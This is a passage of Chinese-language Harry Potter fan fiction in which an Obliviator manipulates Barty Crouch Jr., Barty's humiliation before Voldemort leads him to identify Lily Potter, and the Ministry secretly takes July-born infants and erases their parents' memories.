他也不能让克劳奇知道他裁剪了记忆,这位司长不会容得下一个这么“不稳定”的员工。奥格登也早就同他讲过,工作中要奋进,但也要藏拙,尤其是对克劳奇这样的上司。 谁是最合适的人?谁能把这个消息暗中告诉克劳奇,同时不会引起怀疑,不会向克劳奇打关于他的小报告,并且不会有生命的危险? ……小巴蒂。 “你做事还是不够严谨!家养小精灵这种忠诚属性太高的生物需要先由主人安抚!你那么刺激他!看!多少证据就这么消失一旦了?!——” 埃米洛看到他时,对方正在大庭广众之下被父亲训话—— 他站在楼梯上观察着他,几乎瞬间就看出了小巴蒂平稳笑容下的怒意。 儿子依旧憎恨父亲,即便压抑隐藏一年,也依旧如此。 …… 第二天早上,一个即将被送往阿兹卡班监狱的食死徒大力拍打着牢门,声称自己有重要的情报要和克劳奇司长说,他要求通过这些减刑—— 审讯之后,埃弗里彻底被定罪,同时,克劳奇几乎立刻就看到了其中的“价值”。一个强有力的、能凝聚人心(尤其是恐慌中的民众)的举措,一个展示魔法部强硬手腕和保护力度的绝佳舞台。一个暗中进行的保护行动展开了,傲罗和打击手被大量派往圣芒戈和重点家庭周围,隐藏在那些临盆的孕妇附近。 埃米洛完全明白接下来会发生什么。克劳奇的保护,从来不是目的,只是手段。他清晰地看到了克劳奇蓝图的后半部分:当八月来临,当这场血腥的“清洗”随着伏地魔的(他们希望是)最终失败而结束时,那些在襁褓中侥幸逃过一劫的七月婴儿们,将不再是被保护的对象。 在克劳奇的叙事里,他们会成为他最重要的工具。孩子被送向战场,真相被隐藏。一个干净利落的“胜利”,一个没有“预言之子”光环干扰的、完全归功于克劳奇领导下的法律执行司(以及他本人)的胜利会被预言家日报会铺天盖地地宣扬撰写。 最终那些婴儿的生命,将成为铺就克劳奇通往魔法部长宝座最稳固的垫脚石,被悄无声息地牺牲掉。 少损多益,大局得全,需要牺牲。他这样对自己说 埃米洛的手指紧紧攥着桌沿,骨节泛白。默默地为那些尚在母腹中躁动、即将降临人世、对到来的命运一无所知的孩子们哀悼。 奥格登的教诲——“记忆如刀,莫伸恶手”——此刻像烧红的烙铁烫在他的良心上。他现在选择用这把刀,保护了更多的人,却也亲手为另一批无辜者签下了死亡通知。 边沁的功利主义箴言在脑海中冰冷地回响,他做了什么?他将鲜活的生命简化成了天平两端可悲的数字。他用结果导向的冰冷逻辑,将生命降格为可计算的商品……这种认知带来的罪恶感几乎将他淹没。 “学长。” 一个熟悉的声音打破了办公室死寂的沉重。埃米洛猛地回神,像从深水中挣扎浮起。他抬眼望去,只见小巴蒂·克劳奇斜倚在不远处走廊的窗框边。午后的阳光透过高窗,在他金色的发梢跳跃。 “我也调回法律执行司了。”小巴蒂站直身体,走了过来,声音清晰地回荡在空旷的办公室里,“克劳奇……父亲说最近缺人手,尤其是……傲罗指挥部那边,毕竟梅多斯老师的职位空了。” 他停在埃米洛面前,伸出手。愉悦的笑了:“我们现在是真正的同事了,学长。”他的话语一语双关。 “……最近两个月的任务,可能会异常危险。”埃米洛伸出手,与小巴蒂相握。“你是知道的吧?为什么不拒绝克劳奇司长?” “学长……”小巴蒂的嘴角忽地向上扬起一个弧度,“你原来担心我啊?”他握手的力道似乎又加重了几分,让埃米洛感到一丝微痛。“我以为你只想利用我呢?你现在担心我被食死徒攻击了?” 埃米洛的心脏像被什么东西攥了一下,但面色不显:“利用?我从来没有这么想过。我说过了,我只是担忧当时审判庭上不干净,所以想请你帮我一个小忙,传递一个消息,如果你不帮我,我会自己去找克劳奇司长。” “嗯,我明白。”小巴蒂的眼神晦涩不明:“格兰芬多当然也是会害怕的。”他的语气像是理解,也像是嘲讽。 …… 那天看见小巴蒂的一瞬间,埃米洛就明白,没有比他更适合的人了。 小巴蒂·克劳奇,魔法部高官的孩子。父亲的权势为他筑起了密不透风的保护罩,行踪被傲罗暗中看护,住宅周围常年萦绕着反幻影移形咒与警戒咒。所以由他传递预言,不管是亲自,还是借由别的手段,都是安全的。 同时,他憎恨父亲,对那副“公正无私”假面的无比鄙夷,对父亲刻板专断的憎恨让埃米洛将“预言之子”的消息递到了他面前,相当于给了他一个机会,一把刀。他把自己的“恐惧”倾诉给他的那一刻,小巴蒂眼中一闪而过的亮光让埃米里明白,自己赌对了。 一旦克劳奇真的如他们所料,试图将这份足以撼动魔法界的功劳揽在自己身上,那么他自以为的“功成名就”——只需小巴蒂轻轻一拽,就能扯下那层虚伪的皮囊,让他在全英国巫师面前身败名裂。 这计划本该是万无一失的。每一个环节都经过推敲。可此刻看着小巴蒂脸上的笑,埃米洛忽然产生了一种走钢丝的感觉。他缓缓地、松开了小巴蒂的手。那只手的温度似乎还残留在他的皮肤上,像是一块浓稠的阴影。 “在傲罗部门工作注意安全。”埃米洛近乎叹息。 小巴蒂嘴角的弧度更深了,办公室天花板上的荧光咒发出惨白的光,将他的侧脸切割出明暗交错的棱角,那笑容也跟着变得模糊起来,像是隔着一层磨砂玻璃,看得清轮廓,却读不懂真实。“我会的,谢谢学长。”他回应道。 “我们以后合作愉快。” 26.克劳奇一家 小巴蒂·克劳奇,1961年6月12日出生。 到1980年6月12日凌晨2点,他整19岁。 他诞生于一个纯血家庭。父亲是魔法部冉冉升起的铁腕新星,未来部长的有力竞争者。母亲曾是圣芒戈的圣手,后来因为身体原因辞去了工作,在家里休养。 他从小衣食无忧,但他并不快乐。因为父亲对他的严厉远超过鞭策,永不停息的责骂是对心灵的凌迟,童年与学生时代充斥着任务完不成就受到责罚的痛苦。每一天睁开眼,空气里都凝固着“你必须做到完美”的窒息命令。母亲?她爱他,但他觉得在那些时刻,她又不那么爱他。因为她只会躲在药瓶的阴影后,同样期待的看着他。 但他心里一直不愿意相信父亲真的不爱自己。即使霍格沃茨的猫头鹰从未带来父亲寄的糖果盒,即使家里的餐桌冷得像停尸台,即使每一次成绩单带来的只有漠然或批评……但他扔固执地、近乎自虐地抓住这个念头,像抓住深渊边缘一根腐朽的稻草,直到毕业那年。 那一年,父亲亲手将他推入傲罗与食死徒绞杀的战场血海。冰冷的现实,受伤的疼痛,预言家日报上的文字……终于像摄魂怪的吻,吸走了他最后一丝自欺欺人的暖意。混沌席卷了他,世界在眼前旋转、碎裂。 凭什么?凭什么别人的父亲会拥抱他们的孩子?凭什么只有他,巴蒂·克劳奇,像一件用旧了的工具?凭什么?!凭什么!!!凭什么——!!! 是他做的还不够多么?是他还不算一个完美的好孩子么?是他还不够努力,不够聪明么?为什么所有人都告诉他,他不是那个他能给予期待的人?是他会给他们拖后腿么?为什么不理解他? …… “当然是你父亲的问题。” 一只手落在他头顶。那手上带着一种近乎神启的温度,熨平了他脑中混乱的风暴。“你已经是所有人心中完美的孩子了,有错的当然是他。” “你怎么知道?你又不是我!” 他嘶哑地反驳,却像溺水者本能地抓住浮木。 “不,我能理解你……” 那声音叹息,带着洞悉一切的悲悯,“我太理解你了。我和你一模一样,我们的父亲都让人失望……我明白你对他爱恨交织的绞痛,明白你每一次期待落空后,独自舔舐伤口的酸涩……而且,看看,我们甚至都继承了父亲名字的诅咒……” “你……理解我?”他的声音在颤抖,激动的握住了那双手——一种被“看见”、被“懂得”的狂喜洪流瞬间冲垮了堤坝,灵魂中都涌上了战栗的快感。 “是的,我理解你……我知晓你灵魂深处每一道伤痕的由来。” “向我尽情倾诉吧,我的孩子,毫无保留地……我能为你指引方向,也能给你他没有给予你的认同……” 那个温暖的、属于“父亲”的声音继续说道,那一晚,他感觉自己汲取的爱意,比过去十几年加起来还要浓烈、还要真实!那一刻,他认定了,那是他的救赎,他的神! 小巴蒂幻影移形至北部郊外的死寂之地,空气粘稠得如同凝固的血浆。他穿梭于无形的魔法屏障之间,每一次口令、每一个验证手势都带着一种近乎宗教仪式的狂热虔诚。他的目的地是那座盘踞在黑暗中的古堡,是他“父亲”的神殿。 “神殿”门口,一个同样冰冷面具的男巫拦住了他。对方的目光扫过他胸前的中级食死徒标记,眼神里的轻蔑像淬毒的针。“主人正在召开核心密议,闲杂人等,不得入内。” “我有重要的事!过了今晚……” 小巴蒂的声音因亢奋而拔高,带着金属摩擦般的嘶哑,“我会是里面核心的一员!让我进去!以后少不了你的。” 面具下,他的嘴角神经质地抽搐着,目光里是满满的威胁。 男巫不情不愿地消失在门后阴影里。等待的每一秒都像一个世纪,小巴蒂的指甲深深抠进掌心,渗出血丝也浑然不觉。终于,在他数到一千零一时,门再次打开。“进去吧。” 男巫对他说。 看!我就知道!我就知道!在“父亲”心中,我是特殊的!我永远是第一位的!狂喜的电流瞬间窜遍全身,让他几乎要痉挛。面具后的嘴角咧开一个病态的巨大弧度,愉悦感像毒液般注入四肢百骸。 门内光线幽暗,伏地魔高踞主位,如同蛰伏的阴影本身。下面侍立着三四个同样戴着面具的身影。小巴蒂的目光瞬间捕捉到那些特征——铂金的发梢(卢修斯·马尔福),阴郁沉默的姿态(雷古勒斯·布莱克),还有那两个……罗齐尔和穆尔赛博! 他心底冷笑一声,都是一群靠着父辈余荫爬上来的废物!蛀虫!他们懂什么忠诚?懂什么为父亲献身的狂热?! “主人!” 他几乎是扑跪下去,膝盖撞击冰冷的地面发出闷响。他虔诚地、近乎贪婪地将额头抵上伏地魔黑袍的下摆,去亲吻那冰冷的布料褶皱。当那只苍白修长的手落在他头顶,轻柔地抚摸时,小巴蒂全身过电般剧烈地颤抖起来。他献宝似的掏出一张羊皮纸,手指因极度的兴奋和邀功的渴望而抖得不成样子。 “我带来了这个……魔法部最新的藏匿地点……那些孕妇的……” 伏地魔漫不经心地接过,甚至没有低头看他一眼,随手将羊皮纸递给了旁边的卢修斯。 “我知道了,你下去吧。” 那声音如同冰冷的蛇鳞滑过耳膜。 下……下去? 小巴蒂的身体瞬间僵住,像一尊被骤然抽去灵魂的石像。狂热的火焰被一盆冰水兜头浇灭,只剩下刺骨的寒气和难以置信的茫然。 这就结束了?表扬呢?赞许呢?那期待中的、能将他彻底熔化的温暖注视呢?!他猛地抬起头,面具后的眼睛瞪得极大,瞳孔在幽暗中疯狂地收缩扩张,里面翻涌着赤裸裸的、病态的渴求,像即将饿毙的野兽盯着最后一块腐肉。 “这些消息,其他人早就呈报过了。” 罗齐尔的嗤笑声在死寂中响起,“你以为魔法部里,只有你一个为主人效忠的耳目?真是天真得可笑。” “您再看看呢!” 小巴蒂的声音陡然拔高,带着一种濒临崩溃的尖利,他向前膝行一步,试图抓住那片黑袍,“父……不,主人!我都知道了!我知道那个消息!您不希望那个预言……那个关于……” “预言根本无法打败我!” 伏地魔的声音陡然拔高,带着一种被冒犯的暴怒,如同惊雷在狭小的空间炸响!一个清脆的响指,小巴蒂视若珍宝的羊皮纸瞬间燃起惨绿的厉火,化为灰烬飘散。 “安图尼斯(告诉克劳奇预言以换降刑的食死徒)!埃弗里!那两个成事不足败事有余的废物……!” 他低声咆哮,恐怖的魔力威压让空气都为之凝固。 那滔天的怒火没有让小巴蒂害怕,让他魂飞魄散的是伏地魔接下来的话,是那语气中的……厚重的、冰冷的失望,像万吨寒冰,瞬间将他冻结、碾碎。 “你只有这样的本事么?巴蒂?” 伏地魔的声音轻飘飘的,却比利刃更致命。 不……别对我失望……求您,别用这样的语气……小巴蒂感觉自己的心脏被一只无形的手狠狠攥住、揉捏,窒息感淹没了他。灵魂在尖叫。 “本来……” 伏地魔的声音恢复了一丝莫测的平静,却带着更深的残忍,“我是想赐你一样宝物的。” 这句话小巴蒂死灰般的眼睛瞬间爆发出回光返照般的亮光!但紧接着折光便被迅速扑灭了,因为伏地魔的声音转向了另一边:“还是给雷古勒斯吧。这样东西,本来也是他寻获的功勋。” 一个精致的小盒子划过一道冰冷的弧线,落入雷古勒斯沉默的手中。 “斯莱特林的挂坠盒!创始人的圣物!” 罗齐尔夸张的惊叹声像毒针一样刺入小巴蒂的耳膜。 “拉文克劳的遗宝我也知其所在。” 伏地魔的声音带着一丝无聊的傲慢,“本来是要告诉你这个的。” 这句话像最后的判决,轰然砸下。 我可以更早给您的!我本来可以!小巴蒂的内心在疯狂地嘶吼、咆哮、尖啸!血液冲上头顶,眼前阵阵发黑。 但是……因为今天是6月12日……是我的生日啊!我只是想……想在今天这个属于我的、特殊的日子里,亲手把它献给您!像一份最完美的生日献礼!我那么期待……那么雀跃……就因为这该死的、愚蠢的、两天的拖延!就因为这微不足道的两天!我失去了……失去了“父亲”的认可……失去了那本该属于我的……爱……和宝物…… 他深深地、深深地鞠躬,像一个断了线的木偶,灵魂被慢慢抽离,只剩下一个空荡荡的躯壳。他失魂落魄地、跌跌撞撞地挪出那扇大门。每一步都像踩在烧红的烙铁上。 他想一个人静一静,可是罗齐尔那令人作呕的紧随而来。 “嘿!”他拦住了他。 “干什么?” 小巴蒂猛地顿住,没有回头,声音像是从生锈的铁管里挤出来。他强迫自己挺直脊背,面具下的脸肌肉扭曲地拉扯着,试图拼凑出一个看似无所谓的、甚至带着点玩味的笑容,但失败了,只显出一种怪异的痉挛。 “啧啧啧,” 罗齐尔绕到他面前,面具后的眼睛闪烁着毫不掩饰的恶意和嘲弄,“不是吧?我们优等生克劳奇少爷……真哭了?” 他像是发现了什么天大的乐子,嗤嗤地低笑起来,掏出一块雪白的手绢,像逗弄一条落水狗般递过来,“来来来,擦擦眼泪,别让人看见了笑话。” “别假惺惺了!” 小巴蒂猛地挥手,像驱赶一只恶心的苍蝇,将那手绢狠狠打落在地。声音因为极致的愤怒和屈辱而嘶哑变形,“你明明一直在利用我!” “哎呀呀,说什么呢?” 罗齐尔抱着手臂,姿态悠闲,语气里的嘲讽几乎要溢出来,“我为了帮你把埃弗里那个碍眼的家伙骗到了你指定的地方。可花费了一番功夫呢……我就算没有功劳,也有苦劳吧?他这不也如你所愿,在阿兹卡班享受余生了吗?嗯?” “是啊……” 小巴蒂阴恻恻地笑了,笑声如同夜枭啼鸣,令人毛骨悚然,“真是‘谢谢’你,顺便把我的情报,也‘送’给了雷古勒斯·布莱克!你们压根就是一伙儿的,因为宝物只会给一个人,你表面上替我解决了我讨厌的人,实际上是替他独占主人的奖励……” 罗齐尔终于爆发出一阵刺耳的大笑,“不是……你才意识到啊。但是……咳咳,你是不是忘了一个事情?是我带你见了主人,如果不是我,你觉得主人会让魔法部高官的孩子在这里混得风生水起么?” 你胡说!小巴蒂内心在咆哮!“父亲”表扬我是我应得的!是“父亲”对我的爱!你根本不明白我们之间的羁绊! “对了!” 罗齐尔像是觉得还不够,在他身后用尽力气,施射般地尖声喊道,“看你可怜得让人发笑的份上,我最后告诉你吧!——” “主人真正在找的,是跟他正面对抗过三次的家庭!其他的都是垃圾!没用的垃圾!只有波特!和隆巴顿!记住了!我这次可是大发慈悲告诉你了哦!哈哈哈哈哈——!!!” 罗齐尔那疯狂、得意、充满羞辱的大笑声,如同地狱的丧钟,狠狠锤击着小巴蒂的耳膜和灵魂。他几乎是逃也似的幻影移形了。在空间扭曲的瞬间,他感觉自己的脑子也像被那笑声搅成了一锅沸腾的、充满仇恨与嫉妒的毒粥。 恨!恨罗齐尔!恨雷古勒斯!恨卢修斯!恨所有围在主人身边、窃取他位置、嘲笑他的食死徒! 嫉妒像毒蛇一样啃噬着他的心脏。他会证明……他一定会证明给主人看!他会把这些人……这些把他当小丑、当垃圾的人……一个一个,一个一个地,全部杀光!用最痛苦的方式!主人只能是他的!只应该是他的!那些笑声……那些轻蔑的眼神……他要让他们用血来偿还! “嘭——!!!” 傲罗办公室沉重的木门被他用魔咒粗暴地炸开,门板撞在墙上发出痛苦的呻吟。凌晨的死寂被彻底撕裂。空无一人的办公室里,惨白的月光透过高窗,将他自己原来那张属于多卡斯·梅多斯的桌子照得如同灵堂。 旁边是埃德加·伯恩斯的桌子,对方为了请假照顾新生女儿请了很长时间的假。桌面落满了灰尘。 然而,那灰尘之上,一张小小的、镶嵌在相框里的照片,却像烧红的烙铁,狠狠烫进了小巴蒂布满血丝的眼球!照片里,埃德加·伯恩斯搂着他温柔的妻子,怀里抱着咯咯笑的安迪,旁边站着少女时期的阿米莉亚·伯恩斯,四人脸上洋溢着一种……一种他从未拥有过、也永远不可能拥有的、刺眼的、该死的幸福光芒! 那光芒像无数根烧红的钢针, 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他本来……他本来应该拥有一个慈爱的父亲!一个会摸着他的头,骄傲地说“这是我的好小子”的父亲!一个不会永远缺席、永远苛责的父亲!他应该有一个健康的、会对他温柔微笑的母亲!还应该有一个……一个比他大一岁的、优秀的、完美无缺的哥哥! 小巴蒂的动作顿住了。哥哥喜欢魁地奇,擅长魔咒学,和他分享所有的秘密,想他发誓过会像守护最珍贵的宝物一样守护着他……他们本应是人人艳羡、完美无瑕的一家四口! 他的名字,巴蒂·克劳奇,曾经是父亲的,但也是哥哥的。 但后来……后来……哥哥走了!小巴蒂剧烈的呼吸着,几乎喘不上气来。 哥哥带走了这个家所有的阳光和温度,带走了父亲的温和,带走了母亲的健康。却带来了永无止境的冰冷!带来了母亲被悲伤侵蚀的病体!带来了父亲那压得他喘不过气的、名为“继承”的沉重期待!带来了无休止的、名为“完美”的残酷鞭挞! “啊——!!!” 小巴蒂发出一声撕心裂肺、不似人声的嚎叫,抓起地上那张被摔裂玻璃的伯恩斯全家福,双手像疯了一样狠狠撕扯!照片上那些幸福的笑脸在他手中扭曲、碎裂,如同他早已支离破碎的心。碎片割破了他的手指,鲜血淋漓,他却感觉不到丝毫疼痛。 他蹲在满地狼藉中,像一头受伤濒死的野兽,发出压抑不住的、断断续续的呜咽。 在破碎的视野中,仿佛出现了幻觉:床底下,两个小小的身体紧紧依偎着,贴在一起。父母寻找的脚步声在床边来回。那是他们一家人在做捉迷藏游戏。 哥哥继承了母亲一样黑玉般的头发,柔软,蹭着起来痒痒的。他转过头,那双同样遗传自母亲的、溪水般,仿佛蒙着薄雾的灰蓝色眼睛里,闪烁着狡黠而温暖的光芒…… “主人找的是对抗了三次的家庭!其他都没用!——” 罗齐尔那尖利、恶毒的声音猛地刺穿这脆弱的回忆! 他的哥哥……不!不是他!是他的学长,他的好学长……埃米洛·德蒙特! 他骗了他!他像那个该死的罗齐尔一样骗了他!他们都利用了他,用他传递情报,却把最关键的信息——只有波特和隆巴顿!——死死地瞒着他!最后让他像个彻头彻尾的傻瓜!在“父亲”面前出尽洋相!失去了应得的认可和宝物!是他!是他毁了他向主人证明自己的机会!是他把他推向了这无边的羞辱深渊! 他骗了他,他骗了他,他骗了他——!!! 小巴蒂蹲坐在冰冷的地板上,置身于自己制造的废墟之中,一股毁灭一切的、纯粹的、黑色的欲望充斥着他的灵魂。他需要破坏!需要粉碎!需要让整个世界都感受到他此刻的痛苦和疯狂! 他布满血丝的双眼在狼藉中扫视,猛地锁定了一个滚落到他脚边的、细长的小玻璃瓶。他像抓住仇人的咽喉一样,狠狠地、用尽全身力气将它抓起来,然后朝着坚硬的墙壁,用尽毕生的怨恨,狠狠砸去! “哐啷——!!!” 玻璃瓶应声粉碎!无数晶莹的碎片如同死亡的星辰,在惨淡的月光下四散飞溅!一块锋利的碎片擦过他的脸颊,留下一道火辣辣的、细长的血痕,温热的液体蜿蜒而下,带着铁锈般的腥甜。他却感觉不到痛,只有一种病态的、释放般的快意。 瓶子里的液体瞬间弥漫开来。首先钻入鼻腔的,是他熟悉的、属于埃米洛·德蒙特身上那种干净、带着一丝冷冽的洗衣液味道。这味道像一阵诡异的、短暂的镇静剂,让他狂乱的心跳和沸腾的杀意稍稍平复了一瞬。但紧接着,更多,更复杂的味道混合着涌了上来——埃德加·伯恩斯的、阿拉斯托·穆迪的……以及,最强烈、最突兀的,一种清甜的,混合着雨后青草气息的百合花香! 好熟悉的味道,他用力嗅了嗅。回忆闪过脑海…… 啊……他想起来了。小巴蒂发出一声冷笑。 六年级,那些无数个在图书馆阴影里窥伺的午后……他看着那个人……他大部分时间一个人,极少数的时候,他会和那个红发的、如同火焰般耀眼的格兰芬多女学生会主席坐在一起,低声讨论NEWTs的难题。无数次擦肩而过,那个红发女孩身上萦绕的,就是这种独特的、混合着青草与百合的香气! 莉莉·伊万斯!不,现在已经是莉莉·波特了。 小巴蒂沾满自己鲜血和灰尘的脸上,肌肉开始不受控制地剧烈抽搐、扭曲。他没有发出任何声音,只是无声地、极其夸张地仰起了头,对着天花板上那惨淡的月光,咧开了一个近乎撕裂嘴角的、癫狂到极点的笑容! 哈……哈哈……哈哈哈哈!得来全不费工夫!梅林啊!你果然还是站在我这边的!你看到了我的痛苦!你听到了我生日的祈愿!你把一切都送到了我的面前! 他无声地狂笑着,笑容里没有一丝温度,只有无尽的疯狂、扭曲的快意和一种被命运“眷顾”的荒谬感。身体因这极致的情绪而剧烈颤抖,脸颊上的伤口被扯得更开,鲜血流得更欢畅,像两条蜿蜒的毒蛇。破碎的玻璃映照着他扭曲的笑脸,如同地狱深处爬出的恶鬼。 他的哥哥最终还是帮了他,小巴蒂满足而幸福的笑了。他把手伸向空中,仿佛抓住了什么。然后挥舞魔杖,将刚才弄乱的室内一点一点的恢复成了原来的样子。 27.电车难题二 剩下的半个六月与完完整整的七月浸泡在紧张与铅灰色背景里。 七月临产的孕妇们被傲罗们护持着,从一个相对安全的地点挪到另一个地点,循环往复。 埃米洛将一个疲惫不堪的女傲罗的记忆抽取出来,他看到这样一幕:一个被成功转移到安全屋的孕妇,脸色苍白,额头上蒙着一层簿汗,她对女傲罗道谢,声音轻柔,手下意识地护着高隆的腹部,带着一种近乎神圣的珍视。 “她的父亲被食死徒杀死的那天,我发现自己怀孕了……” “你要不要摸一摸?”她忽然抬头,对女傲罗提议道。 女傲罗最初是惊惶地摇头,但在对方鼓励的注视下,终于迟疑地、带着某种敬畏,将微微颤抖的手轻轻覆在了那圆润的弧线上。忽然,她的身体猛地一僵,像被微弱的电流击中。“呀!”一声短促的惊呼,眼睛难以置信地睁大了。 “感受到了么?她在和你击掌。”孕妇笑了,眼睛弯成温柔的月牙,那一刻的温情几乎穿透了记忆的冰冷介质。 埃米洛透过那缕被抽离的银丝,仿佛也感同身受到那隔着肚皮传来的、微小却无比清晰的生命律动——一下,又一下,像一颗顽强跳动的心脏在掌心下搏动。那触感如此真实,带着生命原始的暖意,灼烧着他的指尖。 “……能不把这段记忆删除么?”坐在埃米洛对面的女傲罗,声音干涩,她失神地看着自己那只曾感受过生命击掌的手,指尖无意识地蜷缩着,似乎想留住那早已消散的微温触感。 “……抱歉,不可以。”埃米洛顶着一张由复方汤剂赋予的、陌生而僵硬的脸庞(为了保密),声音平板得像一块打磨过的石头。他将那缕承载着短暂温暖的银色记忆挥退。 “这是为了大家的安全。”他简短的解释砸在沉默的空气里,看到女傲罗眼中最后一点光黯淡下去,只剩下空洞。 这项任务的保密级别被巴蒂·克劳奇提升至最高,不仅涉事人员需要签订魔法契约,而且结束任务的傲罗们需要回到魔法部,去抹消自己这段涉密的记忆。 但更多的是那些永远无法回来接受“消除”的人。他们的名字,最终只能以冰冷的刻痕作为归宿,固定在傲罗办公室那面冰冷的黑色大理石纪念碑上。 很多人并非死于魔咒的正面交锋——那或许还算一种战士的终结——他们选择了在落入食死徒魔爪的前一刻,用魔杖或更决绝的方式,亲手熄灭自己的生命之火。 那段时间,傲罗办公室的走廊里书写着一句话: “最后一个要战胜的敌人是死亡。” “这句话是谁说的?他还活着吗?”阿米莉亚伤心的问伯莎。 埃米洛觉得她瘦了很多。镜片后的目光不再锐利平稳,而是被深重的忧虑和一种难以言说的脆弱浸泡着。伯莎担忧地追问,只换来她疲惫的摇头和一句沙哑的“工作太累了”。 魔法部内部潜伏着毒蛇,这几乎是每个人心照不宣的事实。为了保密,计划被切割得支离破碎,每个人只掌握微不足道的一角。然而,那双暗处的眼睛似乎总能拼凑出完整的图景。食死徒总能精准地设下埋伏,仿佛他们手中握着一份复刻的计划书。 “法律执行司有叛徒。”埃米洛的声音低沉而肯定,带着一种无力感。他收起魔杖——今天预约清除记忆的那位傲罗没有出现。结局不言而喻,又一个名字即将爬上那冰冷的纪念碑。办公室角落里,属于那人的茶杯还残留着半杯冷掉的咖啡,仿佛主人只是暂时离开。 “那怎么办?”伯莎的声音带着惶恐,“我们可以去找克劳奇……” “相关人员都签过最高级别的保密条令了。”埃米洛端起自己的冷咖啡,苦涩的液体滑过喉咙,带来一阵寒意。“高层有问题。”他一针见血的指出。 ……那里都是我们动不得的人。他目光扫过走廊深处那些紧闭的、代表着权力的橡木门。每一次看到纪念碑上新增的名字,他内心深处都会裂开一道缝隙,滋生出动摇:自己的选择是否从一开始就错了?如果最终,这些在母体中就被疯狂追猎的“预言可能”,一个也未能幸免于难……那么他岂不是成了这场巨大悲剧的推手?用无数忠诚者的鲜血,浇灌了一场徒劳无功的幻梦?这念头像毒藤缠绕心脏,让他感到一种无可挽回的、大厦将倾般的衰败感。 电梯狭小的空间里,他遇到了亚瑟·韦斯莱。亚瑟胸前的口袋里,别着一朵小小的、刺目的白色绢花,在魔法部灰暗的制服上格外显眼。 “抱歉,埃米洛。”亚瑟的声音失去了往日的洪亮,那双惯常闪烁着热情光芒的蓝眼睛,此刻像蒙尘的玻璃珠,黯淡无光。“莫莉的……她的双胞胎哥哥,……他们最近……遇难了。最近家里……可能没法邀请你来做客了。”他艰难地说完,匆匆垂下头,盯着电梯冰冷的金属地板。 吉迪翁和费比安。埃米洛的脑海里立刻浮现这两个名字。 他从未见过他们,但几乎能从莫莉口中拼凑出他们的样子——两个活力四射、有时让人头疼却无比宠爱妹妹的哥哥形象。他仿佛能看到他们骑着扫帚,在陋居上空盘旋,洒下彩色的纸屑和妹妹气恼却掩不住笑意的叫喊声。如今,这画面永远定格,成了褪色的回忆。 圣芒戈记录在册的待产孕妇有62位,当魔法部开始秘密转移时,名单里便只剩25位了——不到一半。 其中隆巴顿夫妇失踪,剩下的24位母亲,在食死徒步步紧逼的围猎下,在一次次惊心动魄的转移和藏匿中艰难支撑。当八月的热浪席卷而来时,最终平安降生、发出第一声啼哭的婴孩,只剩下7个。 七月,七个孩子。这个冰冷的数字巧合,像命运之神投下的一个充满嘲讽的骰子。 埃米洛接到了新的任务指令,保密等级更高,内容让他握着魔杖的手指关节都泛了白。他要跟随傲罗小队,前往那些刚刚经历分娩、惊魂未定的母亲身边,抱走她们用生命守护下来的婴儿。然后由他亲手抹去父母脑海中关于这个孩子存在过的所有痕迹——所有的期待,所有的爱,所有的痛苦与喜悦,连同那小小的身影本身,彻底抹去。 和他一起执行这残酷任务的,还有几位原记忆注销指挥部的同事。任务还没有进行,其中一个人便崩溃了。 “我受不了了!”一个年轻的男巫同事猛地推开克劳奇办公室的门,声音嘶哑地咆哮,“你们究竟在做什么?!到底是什么样的任务?!这是谋杀!是……是灵魂的谋杀!我要离职——立刻!马上!”他很快被傲罗们制服,记忆随之被消除,任务则被继续转交给了埃米洛。 埃米洛沉默地走向他最后一位任务对象的家。门开了,熟悉的场景映入眼帘——正是那位曾邀请女傲罗感受胎动、分享“击掌”喜悦的女巫。此刻,她的孩子——一个粉嫩的小生命,正安睡在摇篮里,无意识地吮吸着自己肉乎乎的小手指,发出细微的咂咂声。 “她叫多萝西(Dorothy)。” 女巫不知何时悄然站在他身后,声音轻柔,带着初为人母的疲惫与幸福交织的光晕。她看向摇篮的眼神,温柔得能融化钢铁。“我们今天又要转移吗?”她问,语气里带着一丝不易察觉的紧张,但更多的,是看向他们时全然的信赖。 多萝西……神的赠礼(God''s Gift)。埃米洛咀嚼着这个名字的含义,心口像被钝器狠狠击中。他能清晰地感受到这位母亲深沉的爱。虽然孩子才刚出生几天,婴儿床的上方已经悬挂着一个精巧的、缓缓旋转的星星灯。柔和的、宛如真实星光的光芒从灯上洒落,在婴儿恬静的睡颜上投下温柔的斑点,随着旋转轻轻摇曳。摇篮边的小桌上,散落着几张显影魔法照片,记录着多萝西降生后的每一个珍贵瞬间——皱着小脸啼哭,安静地沉睡,第一次懵懂地睁开眼睛…… “这个星星灯,是我自己做的。”女巫轻声介绍,语气里带着一丝不易察觉的骄傲,仿佛在介绍一件稀世珍宝。“翻阅了好多古老的魔法工艺书,花了好几个月才做好。还有这些……”她转身,打开旁边一个敞开的箱子。 埃米洛的目光落在箱子里。里面整整齐齐地叠放着婴儿的衣物,从最细软的贴身棉布,到带着可爱小动物图案的连体衣,每一件都洗得干干净净,熨烫得平平整整,散发着阳光和柔顺剂的洁净气息。他甚至能看到衣物上微弱的魔法光泽在流动——是恒温咒、柔软咒、防护咒……这些细微的魔法被精心编织进布料,只为确保那娇嫩的肌肤能感受到最极致的舒适与呵护。箱子里还塞着几件手工编织的小袜子和小帽子,针脚细密,充满了笨拙却无比真挚的爱意。 女巫还在兴奋地、带着无限柔情介绍着每一件小衣服的来历和用意,声音轻柔而温暖。然而,埃米洛却感觉自己被一个巨大、厚重、密不透风的黑色塑料袋猛地罩住了。 她的声音变得越来越遥远、模糊,像是隔着厚重的海水传来。他胸口的空气被一点点抽离,每一次呼吸都变得无比艰难,喉咙发紧,视野的边缘开始发暗。那满箱的爱意,那旋转的星光,那照片上稚嫩的脸庞……都成了压在他背上的一根稻草,现在还没有累积到最后一根,但他觉得也快不远了。 对不起,对不起……无声的道歉在他心中疯狂呐喊,却无法冲破紧闭的牙关。他近乎麻木地举起魔杖,对准了沉浸在幸福中的女巫。杖尖的光芒冰冷而精准。 “一忘皆空(Obliviate)。” 银光闪过。 女巫眼中幸福的光芒瞬间凝固,然后像被风吹熄的蜡烛般迅速黯淡、消散,只剩下茫然和空洞。她怔怔地看着摇篮的方向,仿佛那里本该有什么,却怎么也想不起来。与此同时,那些散落在桌上的照片里,多萝西可爱的小身影如同被橡皮擦抹去,迅速消失,只留下一片空白的相纸背景。整个房间,仿佛瞬间褪去了一层温暖的光泽,变得冰冷而陌生。早已准备好的傲罗迅速上前,小心翼翼地,抱起了摇篮中仍在酣睡的多萝西。 